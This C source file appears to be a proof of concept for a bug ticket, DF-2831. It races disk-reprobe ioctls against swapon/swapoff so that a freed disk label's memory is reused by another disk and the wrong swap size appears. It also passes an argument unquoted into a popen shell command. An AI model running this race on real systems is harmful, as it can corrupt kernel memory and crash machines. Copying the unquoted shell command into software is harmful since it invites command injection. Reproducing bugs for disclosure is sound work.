/*
 * DF-2831 PoC stage 2: make the freed-label read VISIBLE.
 *
 * dssize() (subr_diskslice.c:860-867) walks sp->ds_label and calls
 * op_getpartbounds() on it with no ds_token. A forced reprobe
 * (DIOCSYNCSLICEINFO arg=1) makes disk_probe()/disk_probe_slice() free the
 * old struct diskslices AND its disklabel64 (1736-byte M_DEVBUF chunk,
 * same size class for every disk in the system). While vn0's label is
 * freed, vn1's reprobe allocates its own label -- the same size class --
 * so vn0's dssize() can parse VN1'S LABEL and install vn1's partition
 * bounds as vn0s1a's swap size.
 *
 * usage: poc2831b <disk0> <swap0> <disk1> <swap1> <iters>
 *   expects: swap0 'a' = 2 MiB (4096 512-blocks), swap1 'a' = 1 MiB (2048)
 *   anomaly: swapinfo reports 2048 for vn0s1a (or ENXIO storms)
 */
#include <sys/types.h>
#include <sys/ioccom.h>
#include <sys/ioctl.h>
#include <sys/disklabel64.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <pthread.h>

extern int swapon(const char *);
extern int swapoff(const char *);

#ifndef DIOCSYNCSLICEINFO
#define DIOCSYNCSLICEINFO _IOW('d', 112, int)
#endif

static volatile int stop;

struct harg {
    const char *disk;
    const char *name;
};

static void *hammer(void *x)
{
    struct harg *h = x;
    int fd = open(h->disk, O_RDWR);
    long n = 0, ok = 0;
    int one = 1;

    if (fd < 0) {
        perror("[hammer] open");
        return NULL;
    }
    while (!stop) {
        if (ioctl(fd, DIOCSYNCSLICEINFO, &one) == 0)
            ok++;
        n++;
    }
    fprintf(stderr, "[hammer %s] %ld reprobes (%ld ok)\n", h->name, n, ok);
    close(fd);
    return NULL;
}

/* read the 512-block count swapinfo reports for dev */
static long swap_blocks(const char *dev)
{
    char cmd[256];
    char line[512];
    FILE *p;
    long blocks = -1;

    snprintf(cmd, sizeof(cmd), "swapinfo | grep '%s '", dev);
    p = popen(cmd, "r");
    if (!p)
        return -1;
    while (fgets(line, sizeof(line), p) != NULL) {
        char d[128];
        long b;
        if (sscanf(line, "%127s %ld", d, &b) == 2 && strcmp(d, dev) == 0) {
            blocks = b;
            break;
        }
    }
    pclose(p);
    return blocks;
}

/* what does the kernel think the in-core label of s1 is right now? */
static void probe_incore_label(const char *slicenode)
{
    struct disklabel64 lb;
    int fd = open(slicenode, O_RDONLY);

    if (fd < 0) {
        fprintf(stderr, "  [incore] open %s: %s\n", slicenode, strerror(errno));
        return;
    }
    memset(&lb, 0, sizeof(lb));
    if (ioctl(fd, DIOCGDINFO64, &lb) != 0) {
        fprintf(stderr, "  [incore] DIOCGDINFO64: %s\n", strerror(errno));
    } else {
        fprintf(stderr, "  [incore] nparts=%u total=%llu 'a'=%llu/%llu "
            "(= %llu 512-blocks)\n",
            lb.d_npartitions,
            (unsigned long long)lb.d_total_size,
            (unsigned long long)lb.d_partitions[0].p_boffset,
            (unsigned long long)lb.d_partitions[0].p_bsize,
            (unsigned long long)(lb.d_partitions[0].p_bsize / 512));
    }
    close(fd);
}

int main(int argc, char **argv)
{
    const char *swap0;
    long iters, i;
    long ok_correct = 0, ok_wrong = 0, swerr = 0, szfail = 0;
    long wrong_samples = 0;
    pthread_t t0, t1;
    struct harg h0, h1;
    long expect;

    if (argc != 6 && argc != 7) {
        fprintf(stderr,
            "usage: %s <disk0> <swap0> <disk1> <swap1> <iters> [hammer1]\n",
            argv[0]);
        return 2;
    }
    swap0 = argv[2];
    expect = 4096;    /* vn0s1a 'a' = 2 MiB in 512-blocks */

    h0.disk = argv[1]; h0.name = "vn0";
    h1.disk = argv[3]; h1.name = "vn1";
    pthread_create(&t0, NULL, hammer, &h0);
    if (argc > 6 && atoi(argv[6]))
        pthread_create(&t1, NULL, hammer, &h1);
    usleep(200000);

    for (i = 0; i < atol(argv[5]); i++) {
        long b;

        if (swapon(swap0) != 0) {
            swerr++;
            if (swerr < 10 || (swerr % 1000) == 0)
                fprintf(stderr, "iter %ld: swapon: %s\n", i, strerror(errno));
            continue;
        }
        b = swap_blocks(swap0);
        if (b == expect) {
            ok_correct++;
        } else if (b > 0) {
            ok_wrong++;
            if (wrong_samples < 20) {
                fprintf(stderr,
                    "ANOMALY iter %ld: swapinfo says %ld blocks, "
                    "expected %ld\n", i, b, expect);
                probe_incore_label("/dev/vn0s1");
            }
            wrong_samples++;
        } else {
            szfail++;   /* swapon ok but swapinfo missed it (torn read) */
        }
        if (swapoff(swap0) != 0) {
            fprintf(stderr, "iter %ld: swapoff: %s\n", i, strerror(errno));
            break;
        }
    }
    stop = 1;
    pthread_join(t0, NULL);
    pthread_join(t1, NULL);

    printf("RESULT2 iters=%ld ok_correct=%ld ok_WRONG_SIZE=%ld "
           "size_read_fail=%ld swapon_err=%ld\n",
           atol(argv[5]), ok_correct, ok_wrong, szfail, swerr);
    return (ok_wrong || swerr) ? 1 : 0;
}
